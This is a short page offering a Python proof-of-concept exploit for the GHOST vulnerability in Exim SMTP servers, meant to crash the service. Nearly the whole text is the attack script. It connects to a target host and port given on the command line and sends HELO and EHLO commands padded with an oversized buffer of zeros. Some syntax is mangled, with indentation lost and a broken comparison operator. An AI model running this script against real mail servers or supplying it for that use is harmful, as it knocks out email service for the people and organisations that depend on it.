The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash.
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
import socket
import time
import sys, getopt
def main(argv):
argc = len (argv)
if argc < = 1 :
print "usage: %s <host>" % (argv[ 0 ])
sys.exit( 0 )
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = " 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 "
target = argv[ 1 ]
port = argv[ 2 ]
print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" + str ( len ( buffer ))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, int (port)))
data = s.recv( 1024 )
print "CONNECTION: " + data
s.send( 'HELO ' + buffer + '\r\n' )
data = s.recv( 1024 )
print "received: " + data
s.send( 'EHLO ' + buffer + '\r\n' )
data = s.recv( 1024 )
print "received: " + data
s.close()
main(sys.argv)
|